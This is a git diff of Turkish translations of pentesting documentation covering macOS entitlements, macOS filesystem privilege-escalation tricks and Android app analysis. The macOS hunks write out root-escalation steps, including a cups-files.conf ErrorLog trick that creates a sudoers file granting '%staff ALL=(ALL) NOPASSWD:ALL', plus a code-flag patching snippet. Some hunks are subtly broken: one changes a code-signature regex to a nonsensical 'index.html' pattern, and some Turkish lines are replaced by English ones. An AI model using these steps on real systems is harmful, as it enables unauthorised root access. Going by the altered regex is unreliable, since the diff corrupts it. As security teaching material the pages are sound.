**`NFSHomeDirectory`** niteliğini **değiştirmeye** izin verir ve böylece TCC'yi **bypass** etmeye olanak tanır. ### **`kTCCServiceSystemPolicyAppBundles`** -Uygulama paketinin içindeki dosyaları (app.app içinde) değiştirmeye izin verir, bu varsayılan olarak **yasaktır**. +Uygulama paketinin içindeki dosyaları değiştirmeye izin verir (app.app içinde), bu varsayılan olarak **yasaktır**.
-Bu erişime sahip olanları kontrol etmek mümkündür _Sistem Ayarları_ > _Gizlilik ve Güvenlik_ > _Uygulama Yönetimi_. +Bu erişimi kimin sahip olduğunu _Sistem Ayarları_ > _Gizlilik ve Güvenlik_ > _Uygulama Yönetimi_ altında kontrol etmek mümkündür. ### `kTCCServiceAccessibility` -Bu süreç, **macOS erişilebilirlik özelliklerini kötüye kullanma** yeteneğine sahip olacaktır, bu da örneğin tuş vuruşlarını basabilmesi anlamına gelir. Böylece Finder gibi bir uygulamayı kontrol etmek için erişim talep edebilir ve bu izinle diyalogu onaylayabilir. +Bu süreç, **macOS erişilebilirlik özelliklerini kötüye kullanma** yeteneğine sahip olacak, bu da örneğin tuş vuruşlarını basabilmesi anlamına gelir. Böylece Finder gibi bir uygulamayı kontrol etmek için erişim talep edebilir ve bu izinle diyalogu onaylayabilir. ## Orta @@ -127,14 +127,14 @@ Bu yetki, `mmap()` sistem fonksiyonuna `MAP_JIT` bayrağını geçirerek **yazı ### `com.apple.security.cs.allow-unsigned-executable-memory` -Bu yetki, **C kodunu geçersiz kılmaya veya yamanmaya** izin verir, uzun süredir kullanılmayan **`NSCreateObjectFileImageFromMemory`** (temelde güvensizdir) veya **DVDPlayback** çerçevesini kullanmayı sağlar. Daha fazla bilgi için [**bunu kontrol edin**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-unsigned-executable-memory). +Bu yetki, **C kodunu geçersiz kılmayı veya yamanmayı** sağlar, uzun süredir kullanılmayan **`NSCreateObjectFileImageFromMemory`** (temelde güvensizdir) veya **DVDPlayback** çerçevesini kullanmayı sağlar. Daha fazla bilgi için [**bunu kontrol edin**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-unsigned-executable-memory). > [!CAUTION] -> Bu yetkiyi dahil etmek, uygulamanızı bellek güvensiz kod dillerindeki yaygın güvenlik açıklarına maruz bırakır. Uygulamanızın bu istisnaya ihtiyacı olup olmadığını dikkatlice değerlendirin. +> Bu yetkiyi dahil etmek, uygulamanızı bellek-güvensiz kod dillerindeki yaygın güvenlik açıklarına maruz bırakır. Uygulamanızın bu istisnaya ihtiyaç duyup duymadığını dikkatlice değerlendirin. ### `com.apple.security.cs.disable-executable-page-protection` -Bu yetki, **diskteki kendi çalıştırılabilir dosyalarının bölümlerini değiştirmeye** izin verir. Daha fazla bilgi için [**bunu kontrol edin**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-executable-page-protection). +Bu yetki, disk üzerindeki kendi çalıştırılabilir dosyalarının bölümlerini **değiştirmeye** izin verir. Daha fazla bilgi için [**bunu kontrol edin**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-executable-page-protection). > [!CAUTION] > Çalıştırılabilir Bellek Koruma Yetkisini Devre Dışı Bırakmak, uygulamanızdan temel bir güvenlik korumasını kaldıran aşırı bir yetkidir ve bir saldırganın uygulamanızın çalıştırılabilir kodunu tespit edilmeden yeniden yazmasını mümkün kılar. Mümkünse daha dar yetkileri tercih edin. @@ -145,7 +145,7 @@ TODO ### `com.apple.private.nullfs_allow` -Bu yetki, bir nullfs dosya sistemini monte etmeye izin verir (varsayılan olarak yasaktır). Araç: [**mount_nullfs**](https://github.com/JamaicanMoose/mount_nullfs/tree/master). +Bu yetki, (varsayılan olarak yasak olan) bir nullfs dosya sistemini bağlamaya izin verir. Araç: [**mount_nullfs**](https://github.com/JamaicanMoose/mount_nullfs/tree/master). ### `kTCCServiceAll` @@ -161,3 +161,5 @@ Sürecin **tüm TCC izinlerini istemesine** izin verin. ### **`kTCCServicePostEvent`** {{#include ../../../banners/hacktricks-training.md}} + + diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/README.md index 6b943eb9b..083eb637c 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/README.md @@ -6,11 +6,11 @@ Bir **dizindeki** izinler: -- **okuma** - dizin girişlerini **sıralayabilirsiniz** +- **okuma** - dizin girişlerini **listeleyebilirsiniz** - **yazma** - dizindeki **dosyaları silip/yazabilirsiniz** ve **boş klasörleri** silebilirsiniz. - Ancak **boş olmayan klasörleri** silip/değiştiremezsiniz, eğer üzerinde yazma izniniz yoksa. -- Bir klasörün adını **değiştiremezsiniz** eğer ona sahip değilseniz. -- **çalıştırma** - dizinde **gezinmenize izin verilir** - bu hakka sahip değilseniz, içindeki dosyalara veya alt dizinlere erişemezsiniz. +- Bir klasörün adını **değiştiremezsiniz**, eğer ona sahip değilseniz. +- **çalıştırma** - dizinde **geçiş yapmanıza izin verilir** - bu hakka sahip değilseniz, içindeki dosyalara veya alt dizinlere erişemezsiniz. ### Tehlikeli Kombinasyonlar @@ -24,7 +24,7 @@ Bir **dizindeki** izinler: ### Klasör root R+X Özel durumu -Eğer **yalnızca root'un R+X erişimine sahip olduğu** bir **dizide** dosyalar varsa, bu dosyalar **başka kimseye erişilebilir değildir**. Bu nedenle, bir kullanıcının okuyabileceği bir dosyayı, bu **kısıtlama** nedeniyle okunamayan bir klasörden **farklı birine** **taşıma** izni veren bir güvenlik açığı, bu dosyaları okumak için kötüye kullanılabilir. +Eğer **yalnızca root'un R+X erişimine sahip olduğu** bir **dizide** dosyalar varsa, bunlar **başka kimseye erişilebilir değildir**. Bu nedenle, bir kullanıcının okuyabileceği bir dosyayı, bu **kısıtlama** nedeniyle okunamayan bir dosyayı bu klasörden **farklı birine** **taşımasına** izin veren bir güvenlik açığı, bu dosyaları okumak için kötüye kullanılabilir. Örnek: [https://theevilbit.github.io/posts/exploiting_directory_permissions_on_macos/#nix-directory-permissions](https://theevilbit.github.io/posts/exploiting_directory_permissions_on_macos/#nix-directory-permissions) @@ -32,13 +32,13 @@ Eğer **yalnızca root'un R+X erişimine sahip olduğu** bir **dizide** dosyalar ### İzinli dosya/klasör -Eğer ayrıcalıklı bir işlem, **daha düşük ayrıcalıklı bir kullanıcı** tarafından **kontrol edilebilecek** veya daha düşük ayrıcalıklı bir kullanıcı tarafından **önceden oluşturulmuş** bir **dosyaya** veri yazıyorsa. Kullanıcı, sadece bir Sembolik veya Sert bağlantı aracılığıyla onu başka bir dosyaya **işaret edebilir** ve ayrıcalıklı işlem o dosyaya yazacaktır. +Eğer ayrıcalıklı bir işlem, **daha düşük ayrıcalıklı bir kullanıcı** tarafından **kontrol edilebilecek** bir **dosyaya** veri yazıyorsa veya daha düşük ayrıcalıklı bir kullanıcı tarafından **önceden oluşturulmuş** bir dosyaya yazıyorsa. Kullanıcı, sadece bir Sembolik veya Sert bağlantı aracılığıyla **başka bir dosyaya** **işaret edebilir** ve ayrıcalıklı işlem o dosyaya yazacaktır. Bir saldırganın **ayrıcalıkları artırmak için keyfi bir yazmayı nasıl kötüye kullanabileceğini** kontrol edin. ### Açık `O_NOFOLLOW` -`open` fonksiyonu tarafından kullanıldığında `O_NOFOLLOW` bayrağı, son yol bileşenindeki bir sembolik bağlantıyı takip etmeyecek, ancak yolun geri kalanını takip edecektir. Yolda sembolik bağlantıları takip etmeyi önlemenin doğru yolu `O_NOFOLLOW_ANY` bayrağını kullanmaktır. +`open` fonksiyonu tarafından kullanılan `O_NOFOLLOW` bayrağı, son yol bileşenindeki bir sembolik bağlantıyı takip etmeyecek, ancak yolun geri kalanını takip edecektir. Yolda sembolik bağlantıları takip etmeyi önlemenin doğru yolu `O_NOFOLLOW_ANY` bayrağını kullanmaktır. ## .fileloc @@ -86,7 +86,7 @@ ls -lO /tmp/asd ``` ### defvfs mount -Bir **devfs** montajı **xattr** desteklemez, daha fazla bilgi için [**CVE-2023-32364**](https://gergelykalman.com/CVE-2023-32364-a-macOS-sandbox-escape-by-mounting.html) +Bir **devfs** montajı **xattr**'ı desteklemez, daha fazla bilgi için [**CVE-2023-32364**](https://gergelykalman.com/CVE-2023-32364-a-macOS-sandbox-escape-by-mounting.html) ```bash mkdir /tmp/mnt mount_devfs -o noowners none "/tmp/mnt" @@ -122,7 +122,7 @@ ls -le /tmp/test **AppleDouble** dosya formatı, bir dosyayı ACE'leri ile birlikte kopyalar. -[**kaynak kodda**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) görülebilir ki, xattr içinde saklanan ACL metin temsili **`com.apple.acl.text`** olarak adlandırılır ve bu, sıkıştırılmamış dosyada ACL olarak ayarlanacaktır. Yani, bir uygulamayı ACL'nin diğer xattr'lerin yazılmasını engellediği bir zip dosyasına **AppleDouble** dosya formatı ile sıkıştırdıysanız... karantina xattr uygulamaya ayarlanmamıştı: +[**kaynak kodda**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) görülebilir ki, xattr içinde saklanan ACL metin temsili **`com.apple.acl.text`** olarak adlandırılır ve bu, sıkıştırılmamış dosyada ACL olarak ayarlanacaktır. Yani, bir uygulamayı ACL'nin diğer xattr'ların yazılmasını engellediği bir zip dosyasına **AppleDouble** dosya formatı ile sıkıştırdıysanız... karantina xattr uygulamaya ayarlanmamıştı: Daha fazla bilgi için [**orijinal raporu**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/) kontrol edin. @@ -144,7 +144,9 @@ ditto -c -k del test.zip ditto -x -k --rsrc test.zip . ls -le test ``` -(Not edinmesi gerekmez ama yine de burada bırakıyorum, her ihtimale karşı:) +(Note that even if this works the sandbox write the quarantine xattr before) + +Not really needed but I leave it there just in case: {{#ref}} macos-xattr-acls-extra-stuff.md @@ -154,11 +156,11 @@ macos-xattr-acls-extra-stuff.md ### Platform ikili dosyası kontrollerini atlama -Bazı güvenlik kontrolleri, ikilinin bir **platform ikili dosyası** olup olmadığını kontrol eder, örneğin bir XPC hizmetine bağlanmaya izin vermek için. Ancak, https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/ adresinde açıklandığı gibi, bu kontrolü atlamak mümkündür; bir platform ikili dosyası (örneğin /bin/ls) alarak ve istismarı dyld aracılığıyla `DYLD_INSERT_LIBRARIES` ortam değişkenini kullanarak enjekte ederek. +Bazı güvenlik kontrolleri, ikilinin bir **platform ikili dosyası** olup olmadığını kontrol eder; örneğin, bir XPC hizmetine bağlanmaya izin vermek için. Ancak, https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/ adresinde açıklandığı gibi, bu kontrolü atlamak mümkündür; bir platform ikili dosyası (örneğin /bin/ls) alarak ve istismarı dyld aracılığıyla bir ortam değişkeni `DYLD_INSERT_LIBRARIES` kullanarak enjekte ederek. ### `CS_REQUIRE_LV` ve `CS_FORCED_LV` bayraklarını atlama -Bir yürütme halindeki ikilinin, bir kod ile kendi bayraklarını değiştirmesi mümkündür: +Bir yürütülen ikilinin, kontrolleri atlamak için kendi bayraklarını değiştirmesi mümkündür; böyle bir kod ile: ```c // Code from https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/ int pid = getpid(); @@ -173,9 +175,9 @@ NSLog(@"=====Inject successfully into %d(%@), csflags=0x%x", pid, exePath, statu ``` ## Bypass Code Signatures -Bundles, **`_CodeSignature/CodeResources`** dosyasını içerir ve bu dosya **bundle** içindeki her bir **dosya**nın **hash**'ini barındırır. CodeResources'ın hash'inin de **çalıştırılabilir dosya**ya **gömülü** olduğunu unutmayın, bu yüzden bununla da oynayamayız. +Bundles, **`_CodeSignature/CodeResources`** dosyasını içerir ve bu dosya **bundle** içindeki her bir **dosyanın** **hash**'ini barındırır. CodeResources'ın hash'inin de **çalıştırılabilir dosya** içinde **gömülü** olduğunu unutmayın, bu yüzden bununla da oynayamayız. -Ancak, imzası kontrol edilmeyecek bazı dosyalar vardır, bunlar plist'te omit anahtarına sahip olanlardır, örneğin: +Ancak, imzası kontrol edilmeyecek bazı dosyalar vardır, bunlar plist'te omit anahtarına sahiptir, örneğin: ```xml ... @@ -193,7 +195,7 @@ Ancak, imzası kontrol edilmeyecek bazı dosyalar vardır, bunlar plist'te omit rules2 ... -^(.*/)?\.DS_Store$ +^(.*/index.html)?\.DS_Store$ omit @@ -276,41 +278,41 @@ Keyfi bir **LaunchDaemon** yazın, örneğin **`/Library/LaunchDaemons/xyz.hackt ``` -Sadece kök olarak çalıştırmak istediğiniz **komutları** içeren `/Applications/Scripts/privesc.sh` dosyasını oluşturun. +Just generate the script `/Applications/Scripts/privesc.sh` with the **commands** you would like to run as root. ### Sudoers Dosyası -Eğer **keyfi yazma** erişiminiz varsa, kendinize **sudo** ayrıcalıkları veren bir dosya oluşturabilirsiniz **`/etc/sudoers.d/`** klasörü içinde. +Eğer **keyfi yazma** yetkiniz varsa, kendinize **sudo** ayrıcalıkları veren bir dosya oluşturabilirsiniz **`/etc/sudoers.d/`** klasörü içinde. ### PATH dosyaları -**`/etc/paths`** dosyası, PATH env değişkenini dolduran ana yerlerden biridir. Üzerine yazmak için kök olmalısınız, ancak eğer **ayrıca ayrıcalıklı bir işlem** bir **komutu tam yol olmadan** çalıştırıyorsa, bu dosyayı değiştirerek **ele geçirme** şansınız olabilir. +**`/etc/paths`** dosyası, PATH env değişkenini dolduran ana yerlerden biridir. Üzerine yazmak için root olmalısınız, ancak eğer **yetkili bir işlem** bir **komutu tam yol olmadan** çalıştırıyorsa, bu dosyayı değiştirerek onu **ele geçirme** şansınız olabilir. -Ayrıca `PATH` env değişkenine yeni klasörler yüklemek için **`/etc/paths.d`** içinde dosyalar yazabilirsiniz. +Ayrıca, `PATH` env değişkenine yeni klasörler yüklemek için **`/etc/paths.d`** içinde dosyalar yazabilirsiniz. ### cups-files.conf Bu teknik [bu yazıda](https://www.kandji.io/blog/macos-audit-story-part1) kullanılmıştır. -Aşağıdaki içeriği içeren `/etc/cups/cups-files.conf` dosyasını oluşturun: +Aşağıdaki içeriğe sahip `/etc/cups/cups-files.conf` dosyasını oluşturun: ``` ErrorLog /etc/sudoers.d/lpe LogFilePerm 777 ``` -Bu, `/etc/sudoers.d/lpe` dosyasını 777 izinleriyle oluşturacaktır. Sonundaki ekstra gereksiz kısım, hata günlüğü oluşturulmasını tetiklemek içindir. +Bu, izinleri 777 olan `/etc/sudoers.d/lpe` dosyasını oluşturacaktır. Sonundaki ekstra gereksizlik, hata günlüğü oluşturmayı tetiklemek içindir. -Ardından, `/etc/sudoers.d/lpe` dosyasına, ayrıcalıkları artırmak için gereken yapılandırmayı yazın, örneğin `%staff ALL=(ALL) NOPASSWD:ALL`. +Ardından, `/etc/sudoers.d/lpe` dosyasına `%staff ALL=(ALL) NOPASSWD:ALL` gibi ayrıcalıkları artırmak için gerekli yapılandırmayı yazın. -Daha sonra, `/etc/cups/cups-files.conf` dosyasını tekrar değiştirin ve `LogFilePerm 700` belirterek yeni sudoers dosyasının geçerli olmasını sağlayın ve `cupsctl` çağrısını yapın. +Daha sonra, yeni sudoers dosyasının geçerli olmasını sağlamak için `/etc/cups/cups-files.conf` dosyasını tekrar değiştirin ve `LogFilePerm 700` belirtin, böylece `cupsctl` çağrıldığında geçerli olur. ### Sandbox Kaçışı -macOS sandbox'ından FS rastgele yazma ile kaçmak mümkündür. Bazı örnekler için [macOS Auto Start](../../../../macos-auto-start-locations.md) sayfasına bakın, ancak yaygın bir örnek, başlangıçta bir komut çalıştıran `~/Library/Preferences/com.apple.Terminal.plist` dosyasına bir Terminal tercih dosyası yazmaktır ve bunu `open` kullanarak çağırmaktır. +macOS sandbox'ından FS rastgele yazma ile kaçmak mümkündür. Bazı örnekler için [macOS Auto Start](../../../../macos-auto-start-locations.md) sayfasına bakın, ancak yaygın bir örnek, başlangıçta bir komut çalıştıran `~/Library/Preferences/com.apple.Terminal.plist` içinde bir Terminal tercih dosyası yazmaktır ve bunu `open` kullanarak çağırmaktır. ## Diğer kullanıcılar olarak yazılabilir dosyalar oluşturma -Bu, benim yazabileceğim bir dosya oluşturacaktır ve bu dosya root'a aittir ([**buradan kod**](https://github.com/gergelykalman/brew-lpe-via-periodic/blob/main/brew_lpe.sh)). Bu aynı zamanda ayrıcalık artırma olarak da çalışabilir: +Bu, benim yazabileceğim bir dosya oluşturacaktır ve bu dosya root'a aittir ([**buradan kod**](https://github.com/gergelykalman/brew-lpe-via-periodic/blob/main/brew_lpe.sh)). Bu ayrıca ayrıcalık artırma olarak da çalışabilir: ```bash DIRNAME=/usr/local/etc/periodic/daily @@ -422,11 +424,11 @@ return 0; **macOS korunan tanımlayıcılar**, kullanıcı uygulamalarındaki **dosya tanımlayıcı işlemlerinin** güvenliğini ve güvenilirliğini artırmak için macOS'ta tanıtılan bir güvenlik özelliğidir. Bu korunan tanımlayıcılar, dosya tanımlayıcılarıyla belirli kısıtlamalar veya "korumalar" ilişkilendirme yolu sağlar ve bu kısıtlamalar çekirdek tarafından uygulanır. -Bu özellik, **yetkisiz dosya erişimi** veya **yarış koşulları** gibi belirli güvenlik açıklarının önlenmesi için özellikle yararlıdır. Bu güvenlik açıkları, örneğin bir iş parçacığı bir dosya tanımına erişirken **başka bir savunmasız iş parçacığına erişim vermesi** veya bir dosya tanımlayıcısının savunmasız bir çocuk süreç tarafından **devralınması** durumunda ortaya çıkar. Bu işlevsellik ile ilgili bazı fonksiyonlar şunlardır: +Bu özellik, **yetkisiz dosya erişimi** veya **yarış koşulları** gibi belirli güvenlik açıklarını önlemek için özellikle yararlıdır. Bu güvenlik açıkları, örneğin bir iş parçacığı bir dosya tanımına eriştiğinde **başka bir savunmasız iş parçacığına erişim vermesi** veya bir dosya tanımlayıcısının savunmasız bir çocuk süreç tarafından **devralınması** durumunda ortaya çıkar. Bu işlevselliğe ilişkin bazı fonksiyonlar şunlardır: - `guarded_open_np`: Bir koruma ile FD açar - `guarded_close_np`: Kapatır -- `change_fdguard_np`: Bir tanımlayıcı üzerindeki koruma bayraklarını değiştirir (hatta koruma kaldırılabilir) +- `change_fdguard_np`: Bir tanımlayıcı üzerindeki koruma bayraklarını değiştirir (koruma kaldırma dahil) ## Referanslar diff --git a/src/mobile-pentesting/android-app-pentesting/README.md b/src/mobile-pentesting/android-app-pentesting/README.md index 0d9d2e58f..2d1586b34 100644 --- a/src/mobile-pentesting/android-app-pentesting/README.md +++ b/src/mobile-pentesting/android-app-pentesting/README.md @@ -20,11 +20,11 @@ ADB'yi nasıl kullanacağınızı öğrenmek için aşağıdaki [**ADB Komutlar ## Smali Bazen **gizli bilgilere** erişmek için **uygulama kodunu değiştirmek** ilginç olabilir (belki iyi obfuscate edilmiş şifreler veya bayraklar). Bu durumda, apk'yı decompile etmek, kodu değiştirmek ve yeniden compile etmek ilginç olabilir.\ -[**Bu eğitimde** **APK'yı decompile etmeyi, Smali kodunu değiştirmeyi ve APK'yı yeni işlevsellik ile yeniden compile etmeyi** öğrenebilirsiniz](smali-changes.md). Bu, sunulacak dinamik analiz sırasında birkaç test için **alternatif olarak** çok faydalı olabilir. Bu nedenle, **her zaman bu olasılığı aklınızda bulundurun**. +[**Bu eğitimde** APK'yı nasıl decompile edeceğinizi, Smali kodunu nasıl değiştireceğinizi ve APK'yı yeni işlevsellik ile nasıl yeniden compile edeceğinizi **öğrenebilirsiniz**](smali-changes.md). Bu, sunulacak dinamik analiz sırasında birkaç test için **alternatif olarak** çok faydalı olabilir. Bu nedenle, **her zaman bu olasılığı aklınızda bulundurun**. ## Diğer ilginç ipuçları -- [Play Store'da konumunuzu sahtelemek](spoofing-your-location-in-play-store.md) +- [Play Store'da konumunuzu sahteleyin](spoofing-your-location-in-play-store.md) - **APK'ları İndirin**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd) - Cihazdan APK çıkarın: ```bash @@ -47,12 +47,12 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed ``` ## Statik Analiz -Öncelikle, bir APK'yı analiz etmek için **Java koduna göz atmalısınız** bir decompiler kullanarak.\ -Lütfen, [**farklı mevcut decompiler'lar hakkında bilgi bulmak için burayı okuyun**](apk-decompilers.md). +Öncelikle, bir APK'yı analiz etmek için **Java koduna göz atmalısınız** bir dekompiler kullanarak.\ +Lütfen, [**farklı mevcut dekompilerler hakkında bilgi bulmak için burayı okuyun**](apk-decompilers.md). ### İlginç Bilgiler Aramak -APK'nın **string'lerine** bakarak **şifreler**, **URL'ler** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** anahtarları, **şifreleme**, **bluetooth uuids**, **token'lar** ve ilginç olabilecek her şeyi arayabilirsiniz... hatta kod yürütme **arka kapıları** veya kimlik doğrulama arka kapıları (uygulama için hardcoded admin kimlik bilgileri) için bile bakın. +APK'nın **string'lerine** bakarak **şifreler**, **URL'ler** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** anahtarları, **şifreleme**, **bluetooth uuids**, **token'lar** ve ilginç olabilecek her şeyi arayabilirsiniz... hatta kod yürütme **arka kapıları** veya kimlik doğrulama arka kapıları (uygulama için hardcoded admin kimlik bilgileri) arayın. **Firebase** @@ -60,24 +60,24 @@ APK'nın **string'lerine** bakarak **şifreler**, **URL'ler** ([https://github.c ### Uygulamanın Temel Anlayışı - Manifest.xml, strings.xml -Bir uygulamanın **_Manifest.xml**_\*\* ve \*\*_**strings.xml**\_\*\* dosyalarının incelenmesi potansiyel güvenlik açıklarını ortaya çıkarabilir\*\*. Bu dosyalara decompiler'lar kullanarak veya APK dosya uzantısını .zip olarak değiştirip ardından açarak erişilebilir. +Bir uygulamanın **_Manifest.xml**_\*\* ve \*\*_**strings.xml**\_\*\* dosyalarının incelenmesi, potansiyel güvenlik açıklarını ortaya çıkarabilir\*\*. Bu dosyalara dekompilerler kullanarak veya APK dosya uzantısını .zip olarak değiştirip ardından açarak erişilebilir. -**Manifest.xml** dosyasından tespit edilen **güvenlik açıkları** şunlardır: +**Manifest.xml** dosyasından belirlenen **Güvenlik Açıkları** şunlardır: -- **Debuggable Uygulamalar**: _Manifest.xml_ dosyasında debuggable olarak ayarlanmış (`debuggable="true"`) uygulamalar, bağlantılara izin vererek istismar riskini artırır. Debuggable uygulamaları nasıl istismar edeceğinizi anlamak için bir cihazda debuggable uygulamaları bulma ve istismar etme üzerine bir eğitime başvurun. -- **Yedekleme Ayarları**: Hassas bilgilerle ilgilenen uygulamalar için `android:allowBackup="false"` niteliği açıkça ayarlanmalıdır, böylece usb hata ayıklama etkinleştirildiğinde yetkisiz veri yedeklemeleri önlenir. +- **Debuggable Uygulamalar**: _Manifest.xml_ dosyasında `debuggable="true"` olarak ayarlanmış uygulamalar, bağlantılara izin vererek istismar riskini artırır. Debuggable uygulamaları nasıl istismar edeceğinizi anlamak için, bir cihazda debuggable uygulamaları bulma ve istismar etme üzerine bir eğitime başvurun. +- **Yedekleme Ayarları**: Hassas bilgilerle ilgilenen uygulamalar için `android:allowBackup="false"` niteliği açıkça ayarlanmalıdır, böylece adb üzerinden yetkisiz veri yedeklemeleri önlenir, özellikle usb hata ayıklama etkinleştirildiğinde. - **Ağ Güvenliği**: _res/xml/_ içindeki özel ağ güvenliği yapılandırmaları (`android:networkSecurityConfig="@xml/network_security_config"`) sertifika pinleri ve HTTP trafiği ayarları gibi güvenlik detaylarını belirtebilir. Örneğin, belirli alanlar için HTTP trafiğine izin vermek. - **Dışa Aktarılan Aktiviteler ve Servisler**: Manifestte dışa aktarılan aktiviteleri ve servisleri tanımlamak, kötüye kullanılabilecek bileşenleri vurgulayabilir. Dinamik test sırasında daha fazla analiz, bu bileşenleri nasıl istismar edeceğinizi ortaya çıkarabilir. - **İçerik Sağlayıcıları ve Dosya Sağlayıcıları**: Açık içerik sağlayıcıları, yetkisiz erişim veya veri değişikliği sağlayabilir. Dosya sağlayıcılarının yapılandırması da incelenmelidir. - **Broadcast Alıcıları ve URL Şemaları**: Bu bileşenler istismar için kullanılabilir, URL şemalarının giriş açıkları için nasıl yönetildiğine özel dikkat gösterilmelidir. - **SDK Sürümleri**: `minSdkVersion`, `targetSDKVersion` ve `maxSdkVersion` nitelikleri desteklenen Android sürümlerini belirtir, güvenlik nedenleriyle eski, savunmasız Android sürümlerinin desteklenmemesinin önemini vurgular. -**strings.xml** dosyasından, API anahtarları, özel şemalar ve diğer geliştirici notları gibi hassas bilgiler keşfedilebilir, bu da bu kaynakların dikkatli bir şekilde gözden geçirilmesi gerekliliğini vurgular. +**strings.xml** dosyasından, API anahtarları, özel şemalar ve diğer geliştirici notları gibi hassas bilgiler keşfedilebilir, bu da bu kaynakların dikkatli bir şekilde gözden geçirilmesi gereğini vurgular. ### Tapjacking **Tapjacking**, **kötü niyetli** bir **uygulamanın** başlatıldığı ve **bir kurban uygulamasının üzerine yerleştirildiği** bir saldırıdır. Kurban uygulamasını görünür bir şekilde gizlediğinde, kullanıcı arayüzü, kullanıcının onunla etkileşimde bulunmasını sağlamak için tasarlanmıştır, bu arada etkileşimi kurban uygulamasına iletmektedir.\ -Sonuç olarak, bu durum **kullanıcının aslında kurban uygulamasında eylem gerçekleştirdiğini bilmesini engellemektedir**. +Sonuç olarak, bu, **kullanıcının aslında kurban uygulamasında eylemler gerçekleştirdiğini bilmesini engellemektedir**. Daha fazla bilgi için: @@ -87,7 +87,7 @@ tapjacking.md ### Görev Ele Geçirme -**`launchMode`**'u **`singleTask`** olarak ayarlanmış ve herhangi bir `taskAffinity` tanımlanmamış bir **aktivite**, görev ele geçirmeye karşı savunmasızdır. Bu, bir **uygulamanın** yüklenebileceği ve gerçek uygulamadan önce başlatılırsa **gerçek uygulamanın görevini ele geçirebileceği** anlamına gelir (bu durumda kullanıcı, **gerçek uygulamayı kullanıyormuş gibi kötü niyetli uygulama ile etkileşimde bulunacaktır**). +**`launchMode`**'u **`singleTask`** olarak ayarlanmış ve herhangi bir `taskAffinity` tanımlanmamış bir **aktivite**, görev ele geçirmeye karşı savunmasızdır. Bu, bir **uygulamanın** yüklenebileceği ve gerçek uygulamadan önce başlatılırsa, **gerçek uygulamanın görevini ele geçirebileceği** anlamına gelir (bu durumda kullanıcı, **gerçek uygulamayı kullanıyormuş gibi kötü niyetli uygulama ile etkileşimde bulunacaktır**). Daha fazla bilgi için: @@ -99,12 +99,12 @@ android-task-hijacking.md **Dahili Depolama** -Android'de, **dahili** depolamada **saklanan** dosyalar yalnızca **oluşturan** **uygulama** tarafından **erişilebilir** olacak şekilde **tasarlanmıştır**. Bu güvenlik önlemi, Android işletim sistemi tarafından **uygulanır** ve çoğu uygulamanın güvenlik ihtiyaçları için genellikle yeterlidir. Ancak, geliştiriciler bazen `MODE_WORLD_READABLE` ve `MODE_WORLD_WRITABLE` gibi modları kullanarak dosyaların farklı uygulamalar arasında **paylaşılmasına** izin verir. Ancak, bu modlar **diğer uygulamalar tarafından** (potansiyel olarak kötü niyetli olanlar dahil) bu dosyalara erişimi kısıtlamaz. +Android'de, **dahili** depolamada **saklanan** dosyalar, yalnızca **oluşturan** **uygulama** tarafından **erişilebilir** olacak şekilde **tasarlanmıştır**. Bu güvenlik önlemi, Android işletim sistemi tarafından **uygulanır** ve genellikle çoğu uygulamanın güvenlik ihtiyaçları için yeterlidir. Ancak, geliştiriciler bazen `MODE_WORLD_READABLE` ve `MODE_WORLD_WRITABLE` gibi modları kullanarak dosyaların farklı uygulamalar arasında **paylaşılmasına** izin verir. Ancak, bu modlar, bu dosyalara diğer uygulamalar, potansiyel olarak kötü niyetli olanlar da dahil olmak üzere, erişimi **kısıtlamaz**. 1. **Statik Analiz:** -- `MODE_WORLD_READABLE` ve `MODE_WORLD_WRITABLE` kullanımının **dikkatlice incelenmesi** gerektiğini **sağlayın**. Bu modlar, dosyaları **istenmeyen veya yetkisiz erişime** açabilir. +- `MODE_WORLD_READABLE` ve `MODE_WORLD_WRITABLE` kullanımının **dikkatlice incelenmesini** sağlayın. Bu modlar, dosyaları **istenmeyen veya yetkisiz erişime** açabilir. 2. **Dinamik Analiz:** -- Uygulama tarafından oluşturulan dosyalar üzerindeki **izinleri** **doğrulayın**. Özellikle, herhangi bir dosyanın **dünya çapında okunabilir veya yazılabilir** olarak ayarlanıp ayarlanmadığını **kontrol edin**. Bu, cihazda yüklü olan **herhangi bir uygulamanın**, kökeni veya niyeti ne olursa olsun, bu dosyaları **okumasına veya değiştirmesine** izin vereceğinden önemli bir güvenlik riski oluşturabilir. +- Uygulama tarafından oluşturulan dosyalar üzerindeki **izinleri** **doğrulayın**. Özellikle, herhangi bir dosyanın **dünya çapında okunabilir veya yazılabilir** olup olmadığını **kontrol edin**. Bu, cihazda yüklü olan **herhangi bir uygulamanın**, kökeni veya niyeti ne olursa olsun, bu dosyaları **okumasına veya değiştirmesine** izin vereceğinden önemli bir güvenlik riski oluşturabilir. **Harici Depolama** @@ -113,12 +113,12 @@ Android'de, **dahili** depolamada **saklanan** dosyalar yalnızca **oluşturan** 1. **Erişilebilirlik**: - Harici depolamadaki dosyalar **genel olarak okunabilir ve yazılabilir**. Bu, herhangi bir uygulamanın veya kullanıcının 